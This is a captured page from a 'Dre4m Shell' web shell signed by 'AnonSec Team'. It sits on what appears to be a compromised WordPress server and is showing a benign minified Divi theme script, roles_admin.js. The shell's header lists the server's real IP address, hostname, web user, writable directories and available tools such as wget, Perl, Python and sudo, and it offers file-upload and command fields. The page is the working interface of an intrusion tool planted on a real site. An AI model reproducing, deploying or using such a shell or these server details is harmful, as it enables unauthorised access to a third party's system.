Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.222.118.236
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/themes/Divi/includes/builder/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/themes/Divi/includes/builder/scripts/roles_admin.js
/*! This minified app bundle contains open source software from several third party developers. Please review CREDITS.md in the root directory or LICENSE.md in the current directory for complete licensing, copyright and patent information. This file and the included code may not be redistributed without the attributions listed in LICENSE.md, including associate copyright notices and licensing information. */!function(t){var e={};function o(n){if(e[n])return e[n].exports;var a=e[n]={i:n,l:!1,exports:{}};return t[n].call(a.exports,a,a.exports,o),a.l=!0,a.exports}o.m=t,o.c=e,o.d=function(t,e,n){o.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:n})},o.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},o.t=function(t,e){if(1&e&&(t=o(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var a in t)o.d(n,a,function(e){return t[e]}.bind(null,a));return n},o.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return o.d(e,"a",e),e},o.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},o.p="",o(o.s=493)}({28:function(t,e){t.exports=function(t){return void 0===t}},38:function(t,e,o){"use strict";(function(t){e.a=function(e,o){var n=t(window),a=t("#wpadminbar"),_=n.height(),s=e.outerHeight(),i=a.outerHeight(),r=0-s/2+i/2;s>_-i?e.css({top:i+15,bottom:15,marginTop:0,minHeight:0}):e.css({top:"50%",marginTop:r}),e.addClass("et_pb_auto_centerize_modal")}}).call(this,o(5))},493:function(t,e,o){"use strict";o.r(e),function(t){var e=o(28),n=o.n(e),a=o(38);t(document).ready(function(){var e=t(".et_pb_roles_options_container"),o=e.find(".et_pb_yes_no_button_wrapper"),_=e.find(".et_pb_yes_no_button"),s=e.find("select"),i=t("body");function r(e,o){var n,a=t(".et_pb_roles_container_all").find("form"),_={};a.each(function(){var e=t(this),o=e.data("role_id"),n=e.serialize();_[o]=n}),n=JSON.stringify(_),t.ajax({type:"POST",url:et_pb_roles_options.ajaxurl,dataType:"json",data:{action:"et_pb_save_role_settings",et_pb_options_all:n,et_pb_save_roles_nonce:et_pb_roles_options.et_roles_nonce},beforeSend:function(e){o&&(t("#et_pb_loading_animation").removeClass("et_pb_hide_loading"),t("#et_pb_success_animation").removeClass("et_pb_active_success"),t("#et_pb_loading_animation").show())},success:function(n){o&&(t("#et_pb_loading_animation").addClass("et_pb_hide_loading"),t("#et_pb_success_animation").addClass("et_pb_active_success").show(),setTimeout(function(){t("#et_pb_success_animation").fadeToggle(),t("#et_pb_loading_animation").fadeToggle()},1e3)),t.isFunction(e)&&e()}})}function p(t){var e=t.closest(".et_pb_modal_overlay");e.addClass("et_pb_modal_closing"),setTimeout(function(){e.remove()},600)}o.each(function(){var e=t(this),o=e.find(".et_pb_yes_no_button");"on"===e.find("select").val()?(o.removeClass("et_pb_off_state"),o.addClass("et_pb_on_state")):(o.removeClass("et_pb_on_state"),o.addClass("et_pb_off_state"))}),_.click(function(){var e=t(this),o=e.closest(".et_pb_yes_no_button_wrapper").find("select");e.hasClass("et_pb_off_state")?(e.removeClass("et_pb_off_state"),e.addClass("et_pb_on_state"),o.val("on")):(e.removeClass("et_pb_on_state"),e.addClass("et_pb_off_state"),o.val("off")),o.trigger("change")}),s.change(function(){var e=t(this),o=e.closest(".et_pb_yes_no_button_wrapper").find(".et_pb_yes_no_button");"on"===e.val()?(o.removeClass("et_pb_off_state"),o.addClass("et_pb_on_state")):(o.removeClass("et_pb_on_state"),o.addClass("et_pb_off_state"))}),t(".et-pb-layout-buttons:not(.et-pb-layout-buttons-reset):not(.et-pb-portability-button)").click(function(){var e=t(this),o=e.data("open_tab");t(".et_pb_roles_options_container.active-container").css({display:"block",opacity:1}).stop(!0,!0).animate({opacity:0},300,function(){var e=t(this);e.css("display","none"),e.removeClass("active-container"),t("."+o).addClass("active-container").css({display:"block",opacity:0}).stop(!0,!0).animate({opacity:1},300)}),t(".et-pb-layout-buttons").removeClass("et_pb_roles_active_menu"),e.addClass("et_pb_roles_active_menu")}),t("#et_pb_save_roles").click(function(){return r(!1,!0),!1}),t(".et_pb_toggle_all").click(function(){var e=t(this).closest(".et_pb_roles_section_container").find(".et-pb-main-setting"),o=0,n=0;e.each(function(){"on"===t(this).val()?o++:n++}),o>=n?e.val("off"):e.val("on"),e.change()}),t(".et-pb-layout-buttons-reset").click(function(){var e="<div class='et_pb_modal_overlay' data-action='reset_roles'>\t\t\t\t<div class='et_pb_prompt_modal'>\t\t\t\t<h3>"+et_pb_roles_options.modal_title+"</h3>\t\t\t\t<p>"+et_pb_roles_options.modal_message+"</p>\t\t\t\t\t<a href='#' class='et_pb_prompt_dont_proceed et-pb-modal-close'>\t\t\t\t\t\t<span>"+et_pb_roles_options.modal_no+"<span>\t\t\t\t\t</span></span></a>\t\t\t\t\t<div class='et_pb_prompt_buttons'>\t\t\t\t\t\t<a href='#' class='et_pb_prompt_proceed'>"+et_pb_roles_options.modal_yes+"</a>\t\t\t\t\t</div>\t\t\t\t</div>\t\t\t</div>";return t("body").append(e),Object(a.a)(t(".et_pb_prompt_modal")),!1}),t("body").on("click",".et-pb-modal-close",function(){p(t(this))}),t("body").on("click",".et_pb_prompt_proceed",function(){var e=t(".et-pb-main-setting");e.val("on"),e.change(),p(t(this))}),i.append('<div id="et_pb_loading_animation"></div>'),i.append('<div id="et_pb_success_animation"></div>'),t("#et_pb_loading_animation").hide(),t("#et_pb_success_animation").hide(),t(".et-pb-layout-buttons").first().addClass("et_pb_roles_active_menu"),t(".et_pb_roles_container_all .et_pb_roles_options_container").first().addClass("active-container"),n()(etCore)||(etCore.portability.save=function(t){r(t,!1)})})}.call(this,o(5))},5:function(t,e){t.exports=jQuery}});
//# sourceMappingURL=roles_admin.js.map

Anon7 - 2022
AnonSec Team